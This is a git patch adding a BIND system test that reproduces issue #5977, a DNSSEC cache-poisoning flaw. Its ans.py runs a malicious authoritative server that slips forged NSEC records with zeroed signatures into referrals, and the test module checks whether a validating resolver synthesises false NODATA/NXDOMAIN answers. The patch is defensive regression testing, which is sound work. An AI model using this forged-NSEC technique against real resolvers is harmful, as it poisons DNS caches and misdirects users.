From ace05a3cb87ad9becc068f1c19d2a8f14ab1db7e Mon Sep 17 00:00:00 2001 From: Alessio Podda Date: Wed, 3 Jun 2026 14:59:13 +0200 Subject: [PATCH] Reproducer for #5977 cache poison NSEC piggyback Create a new "nsec_piggyback" system test. Co-Authored-By: Matthijs Mekking --- bin/tests/system/nsec_piggyback/ans1/ans.py | 230 ++++++++++++++++++ .../system/nsec_piggyback/ns2/c.p22.hack.db | 12 + .../system/nsec_piggyback/ns2/named.conf.j2 | 30 +++ .../system/nsec_piggyback/ns3/named.conf.j2 | 34 +++ .../nsec_piggyback/tests_nsec_piggyback.py | 181 ++++++++++++++ 5 files changed, 487 insertions(+) create mode 100644 bin/tests/system/nsec_piggyback/ans1/ans.py create mode 100644 bin/tests/system/nsec_piggyback/ns2/c.p22.hack.db create mode 100644 bin/tests/system/nsec_piggyback/ns2/named.conf.j2 create mode 100644 bin/tests/system/nsec_piggyback/ns3/named.conf.j2 create mode 100644 bin/tests/system/nsec_piggyback/tests_nsec_piggyback.py diff --git a/bin/tests/system/nsec_piggyback/ans1/ans.py b/bin/tests/system/nsec_piggyback/ans1/ans.py new file mode 100644 index 0000000000..e2e66299a7 --- /dev/null +++ b/bin/tests/system/nsec_piggyback/ans1/ans.py @@ -0,0 +1,230 @@ +#!/usr/bin/python3 + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 + +from collections.abc import AsyncGenerator +from dataclasses import dataclass +from datetime import datetime, timedelta, timezone +from pathlib import Path + +import base64 +import json + +from cryptography.hazmat.primitives import serialization + +import dns.dnssec +import dns.message +import dns.name +import dns.rcode +import dns.rdata +import dns.rdataclass +import dns.rdatatype +import dns.rrset + +from isctest.asyncserver import ( + AsyncDnsServer, + DnsResponseSend, + QueryContext, + ResponseHandler, +) + +TTL = 300 +PARENT = "p22.hack." +CHILD = f"c.{PARENT}" +CHILD_NS = f"ns.{CHILD}" +VICTIM = f"victim.{PARENT}" +AAC = f"aac.{PARENT}" +CHILD_NEXT = f"ns1.{PARENT}" +TRIGGER = f"www.{CHILD}" +PRIME_NX = f"0.{PARENT}" + +CHILD_A = "192.0.2.50" +CHILD_NS_A = "10.53.0.2" +VICTIM_A = "192.0.2.99" +AAC_A = "192.0.2.77" + + +@dataclass(frozen=True) +class Key: + zone: dns.name.Name + private_key: object + dnskey: dns.rdata.Rdata + + +def name(text: str) -> dns.name.Name: + return dns.name.from_text(text) + + +def load_keys() -> dict[str, Key]: + path = Path("keys.json") + with path.open(encoding="utf-8") as keys_file: + raw_keys = json.load(keys_file) + + keys = {} + for zone, raw_key in raw_keys.items(): + private_key = serialization.load_pem_private_key( + raw_key["private_pem"].encode("ascii"), + password=None, + ) + dnskey = dns.rdata.from_text( + dns.rdataclass.IN, dns.rdatatype.DNSKEY, raw_key["dnskey"] + ) + keys[zone] = Key(name(zone), private_key, dnskey) + + return keys + + +def rrset(owner: str, rdtype: dns.rdatatype.RdataType, *rdatas: str) -> dns.rrset.RRset: + return dns.rrset.from_text(owner, TTL, dns.rdataclass.IN, rdtype, *rdatas) + + +def rrset_from_rdata(owner: str, rdata: dns.rdata.Rdata) -> dns.rrset.RRset: + return dns.rrset.from_rdata(name(owner), TTL, rdata) + + +def add_signed( + section: list[dns.rrset.RRset], covered: dns.rrset.RRset, signer: Key +) -> None: + rrsig = dns.dnssec.sign( + covered, + signer.private_key, + signer.zone, + signer.dnskey, + lifetime=86400, + verify=True, + ) + section.append(covered) + section.append(dns.rrset.from_rdata(covered.name, covered.ttl, rrsig)) + + +def add_dnskey(response: dns.message.Message, zone: str, key: Key) -> None: + add_signed(response.answer, rrset_from_rdata(zone, key.dnskey), key) + + +def soa_rrset(zone: str) -> dns.rrset.RRset: + return rrset( + zone, + dns.rdatatype.SOA, + f"ns.{zone} hostmaster.{zone} 1 3600 600 86400 300", + ) + + +def nsec_rrset(owner: str, next_name: str, *types: str) -> dns.rrset.RRset: + return rrset(owner, dns.rdatatype.NSEC, f"{next_name} {' '.join(types)}") + + +def nsec_apex() -> dns.rrset.RRset: + return nsec_rrset(PARENT, AAC, "NS", "SOA", "RRSIG", "NSEC", "DNSKEY") + + +def nsec_deleg_child() -> dns.rrset.RRset: + return nsec_rrset(CHILD, CHILD_NEXT, "NS", "RRSIG", "NSEC") + + +def stuffed_ent_nsec() -> dns.rrset.RRset: + return nsec_rrset(f"t.{PARENT}", f"sub.{VICTIM}", "A", "RRSIG", "NSEC") + + +def stuffed_range_nsec() -> dns.rrset.RRset: + return nsec_rrset(f"aab.{PARENT}", f"az.{PARENT}", "A", "RRSIG", "NSEC") + + +def garbage_rrsig(covered: dns.rrset.RRset, signer: Key) -> dns.rrset.RRset: + now = datetime.now(timezone.utc) + inception = (now - timedelta(hours=1)).strftime("%Y%m%d%H%M%S") + expiration = (now + timedelta(days=1)).strftime("%Y%m%d%H%M%S") + signer_name = signer.zone.to_text() + labels = len(covered.name.labels) - 1 + key_tag = dns.dnssec.key_id(signer.dnskey) + signature = base64.b64encode(bytes(64)).decode("ascii") + text = ( + f"{dns.rdatatype.to_text(covered.rdtype)} " + f"{signer.dnskey.algorithm} {labels} {covered.ttl} " + f"{expiration} {inception} {key_tag} {signer_name} {signature}" + ) + rdata = dns.rdata.from_text(dns.rdataclass.IN, dns.rdatatype.RRSIG, text) + return dns.rrset.from_rdata(covered.name, covered.ttl, rdata) + + +def add_garbage_signed_nsec( + section: list[dns.rrset.RRset], covered: dns.rrset.RRset, signer: Key +) -> None: + section.append(covered) + section.append(garbage_rrsig(covered, signer)) + + +def prepare_response(qctx: QueryContext) -> dns.message.Message: + qctx.prepare_new_response(with_zone_data=False) + qctx.response.set_rcode(dns.rcode.NOERROR) + return qctx.response + + +def add_parent_negative( + response: dns.message.Message, signer: Key, nsec: dns.rrset.RRset +) -> None: + add_signed(response.authority, soa_rrset(PARENT), signer) + add_signed(response.authority, nsec, signer) + + +class ParentHandler(ResponseHandler): + def __init__(self, keys: dict[str, Key]) -> None: + self.keys = keys + self.parent = name(PARENT) + self.child = name(CHILD) + self.victim = name(VICTIM) + self.aac = name(AAC) + self.prime_nx = name(PRIME_NX) + + def match(self, qctx: QueryContext) -> bool: + return qctx.qname.is_subdomain(self.parent) + + async def get_responses( + self, qctx: QueryContext + ) -> AsyncGenerator[DnsResponseSend, None]: + response = prepare_response(qctx) + parent_key = self.keys[PARENT] + + if qctx.qname == self.parent and qctx.qtype == dns.rdatatype.DNSKEY: + add_dnskey(response, PARENT, parent_key) + elif qctx.qname == self.parent and qctx.qtype == dns.rdatatype.SOA: + add_signed(response.answer, soa_rrset(PARENT), parent_key) + elif qctx.qname == self.parent: + add_parent_negative(response, parent_key, nsec_apex()) + elif qctx.qname == self.child and qctx.qtype == dns.rdatatype.DS: + add_parent_negative(response, parent_key, nsec_deleg_child()) + elif qctx.qname == self.prime_nx: + response.set_rcode(dns.rcode.NXDOMAIN) + add_parent_negative(response, parent_key, nsec_apex()) + elif qctx.qname == self.child or qctx.qname.is_subdomain(self.child): + response.authority.append(rrset(CHILD, dns.rdatatype.NS, CHILD_NS)) + add_signed(response.authority, nsec_deleg_child(), parent_key) + add_garbage_signed_nsec(response.authority, stuffed_ent_nsec(), parent_key) + add_garbage_signed_nsec( + response.authority, stuffed_range_nsec(), parent_key + ) + response.additional.append(rrset(CHILD_NS, dns.rdatatype.A, CHILD_NS_A)) + elif qctx.qname == self.victim and qctx.qtype == dns.rdatatype.A: + add_signed( + response.answer, + rrset(VICTIM, dns.rdatatype.A, VICTIM_A), + parent_key, + ) + elif qctx.qname == self.aac and qctx.qtype == dns.rdatatype.A: + add_signed(response.answer, rrset(AAC, dns.rdatatype.A, AAC_A), parent_key) + else: + response.set_rcode(dns.rcode.NXDOMAIN) + add_parent_negative(response, parent_key, nsec_apex()) + + yield DnsResponseSend(response, authoritative=True) + + +def main() -> None: + server = AsyncDnsServer(default_aa=True) + server.install_response_handlers(ParentHandler(load_keys())) + server.run() + + +if __name__ == "__main__": + main() diff --git a/bin/tests/system/nsec_piggyback/ns2/c.p22.hack.db b/bin/tests/system/nsec_piggyback/ns2/c.p22.hack.db new file mode 100644 index 0000000000..a56270c3e4 --- /dev/null +++ b/bin/tests/system/nsec_piggyback/ns2/c.p22.hack.db @@ -0,0 +1,12 @@ +$TTL 300 ; 5 minutes +@ IN SOA mname1. . ( + 2000042407 ; serial + 20 ; refresh (20 seconds) + 20 ; retry (20 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) + ) + NS ns2 +ns2 A 10.53.0.2 + +www A 192.0.2.50 diff --git a/bin/tests/system/nsec_piggyback/ns2/named.conf.j2 b/bin/tests/system/nsec_piggyback/ns2/named.conf.j2 new file mode 100644 index 0000000000..c3a7e0d7eb --- /dev/null +++ b/bin/tests/system/nsec_piggyback/ns2/named.conf.j2 @@ -0,0 +1,30 @@ +// NS2 + +options { + query-source address 10.53.0.2; + notify-source 10.53.0.2; + transfer-source 10.53.0.2; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.2; }; + listen-on-v6 { none; }; + allow-transfer { any; }; + minimal-any no; + minimal-responses no; + recursion no; + notify yes; +}; + +key rndc_key { + secret "1234abcd8765"; + algorithm @DEFAULT_HMAC@; +}; + +controls { + inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +zone "c.p22.hack" { + type primary; + file "c.p22.hack.db"; +}; diff --git a/bin/tests/system/nsec_piggyback/ns3/named.conf.j2 b/bin/tests/system/nsec_piggyback/ns3/named.conf.j2 new file mode 100644 index 0000000000..7da96590fe --- /dev/null +++ b/bin/tests/system/nsec_piggyback/ns3/named.conf.j2 @@ -0,0 +1,34 @@ +// validating resolver + +options { + query-source address 10.53.0.3; + notify-source 10.53.0.3; + transfer-source 10.53.0.3; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.3; }; + listen-on-v6 { none; }; + recursion yes; + dnssec-validation yes; + synth-from-dnssec yes; +}; + +controls { + inet 10.53.0.3 port @CONTROLPORT@ allow { any; } keys { rndc_key; }; +}; + +include "../../_common/rndc.key"; + +zone "." { + type hint; + file "../../_common/root.hint"; +}; + +zone "p22.hack" { + type static-stub; + server-addresses { 10.53.0.1; }; +}; + +trust-anchors { + p22.hack. static-key 257 3 13 "@PARENT_DNSKEY@"; +}; diff --git a/bin/tests/system/nsec_piggyback/tests_nsec_piggyback.py b/bin/tests/system/nsec_piggyback/tests_nsec_piggyback.py new file mode 100644 index 0000000000..c31fc71a48 --- /dev/null +++ b/bin/tests/system/nsec_piggyback/tests_nsec_piggyback.py @@ -0,0 +1,181 @@ +#!/usr/bin/python3 + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 + +from pathlib import Path + +import json + +from cryptography.hazmat.primitives import serialization +from cryptography.hazmat.primitives.asymmetric import ec + +import dns.dnssec +import dns.flags +import dns.name +import dns.rdataclass +import dns.rdatatype +import pytest + +import isctest +import isctest.mark + +PARENT = "p22.hack." +CHILD = f"c.{PARENT}" +TRIGGER = f"www.{CHILD}" +PRIME_NX = f"0.{PARENT}" +VICTIM = f"victim.{PARENT}" +AAC = f"aac.{PARENT}" +STUFFED_ENT = f"t.{PARENT}" +STUFFED_RANGE = f"aab.{PARENT}" +CHILD_A = "192.0.2.50" +VICTIM_A = "192.0.2.99" +AAC_A = "192.0.2.77" +AUTH_PARENT = "10.53.0.1" +AUTH_CHILD = "10.53.0.2" +RESOLVER = "10.53.0.3" + +pytestmark = [ + isctest.mark.with_ecdsa_deterministic, + pytest.mark.extra_artifacts( + [ + "ans*/ans.run", + "ans*/keys.json", + "ns2/managed-keys.bind.jnl", + ] + ), +] + + +def _make_key(): + private_key = ec.generate_private_key(ec.SECP256R1()) + dnskey = dns.dnssec.make_dnskey( + private_key.public_key(), + algorithm="ECDSAP256SHA256", + flags=257, + ) + private_pem = private_key.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.PKCS8, + encryption_algorithm=serialization.NoEncryption(), + ).decode("ascii") + return { + "private_pem": private_pem, + "dnskey": dnskey.to_text(), + } + + +def bootstrap(): + keys = {PARENT: _make_key()} + + Path("ans1/keys.json").write_text(json.dumps(keys, indent=2), encoding="ascii") + + parent_dnskey = "".join(keys[PARENT]["dnskey"].split()[3:]) + return {"PARENT_DNSKEY": parent_dnskey} + + +def _query(server, qname, qtype): + query = isctest.query.create(qname, qtype) + return isctest.query.tcp(query, server) + + +def _rrset(response, section, owner, rdtype, covers=None): + if covers is None: + return response.get_rrset( + section, + dns.name.from_text(owner), + dns.rdataclass.IN, + rdtype, + ) + return response.get_rrset( + section, + dns.name.from_text(owner), + dns.rdataclass.IN, + rdtype, + covers=covers, + ) + + +def _has_a(response, owner, address): + rrset = _rrset(response, response.answer, owner, dns.rdatatype.A) + return rrset is not None and any(rdata.address == address for rdata in rrset) + + +def _has_nsec(response, owner, section=None): + if section is None: + section = response.authority + return _rrset(response, section, owner, dns.rdatatype.NSEC) is not None + + +def _has_rrsig(response, owner, section, covers): + return ( + _rrset( + response, + section, + owner, + dns.rdatatype.RRSIG, + covers=covers, + ) + is not None + ) + + +def prime_resolver(): + # Caches parent SOA at dns_trust_secure + # DNSKEY is queried and cached as part of this. + soa = _query(RESOLVER, PARENT, "SOA") + isctest.check.noerror(soa) + isctest.check.adflag(soa) + + # Caches real apex parent NSEC at dns_trust_secure + nx = _query(RESOLVER, PRIME_NX, "A") + isctest.check.nxdomain(nx) + isctest.check.adflag(nx) + assert _has_nsec(nx, PARENT), nx + + +def test_malicious_referral(): + referral = _query(AUTH_PARENT, TRIGGER, "A") + isctest.check.noerror(referral) + assert referral.flags & dns.flags.AA + assert _has_nsec(referral, CHILD), referral.to_text() + assert _has_rrsig(referral, CHILD, referral.authority, dns.rdatatype.NSEC) + assert _has_nsec(referral, STUFFED_ENT), referral.to_text() + assert _has_nsec(referral, STUFFED_RANGE), referral.to_text() + assert _has_rrsig(referral, STUFFED_ENT, referral.authority, dns.rdatatype.NSEC) + assert _has_rrsig(referral, STUFFED_RANGE, referral.authority, dns.rdatatype.NSEC) + assert _rrset(referral, referral.answer, TRIGGER, dns.rdatatype.A) is None + + child = _query(AUTH_CHILD, TRIGGER, "A") + isctest.check.noerror(child) + assert _has_a(child, TRIGGER, CHILD_A), child.to_text() + + +@pytest.mark.parametrize( + "qname,address", + [ + (VICTIM, VICTIM_A), + (AAC, AAC_A), + ], + ids=["nodata", "nxdomain"], +) +def test_nsec_piggyback_cache_poisoning(qname, address): + """ + Reproducer for #5977: + F-022 NODATA/NXDOMAIN synthesises from piggy-backed NSEC RRs + """ + # Prime the cache. + prime_resolver() + + # Trigger the malicious referral. + trigger = _query(RESOLVER, TRIGGER, "A") + isctest.check.noerror(trigger) + isctest.check.noadflag(trigger) + assert _has_a(trigger, TRIGGER, CHILD_A), trigger.to_text() + + # Probing query. + response = _query(RESOLVER, qname, "A") + isctest.check.noerror(response) + assert _has_a(response, qname, address), response.to_text() + isctest.check.adflag(response)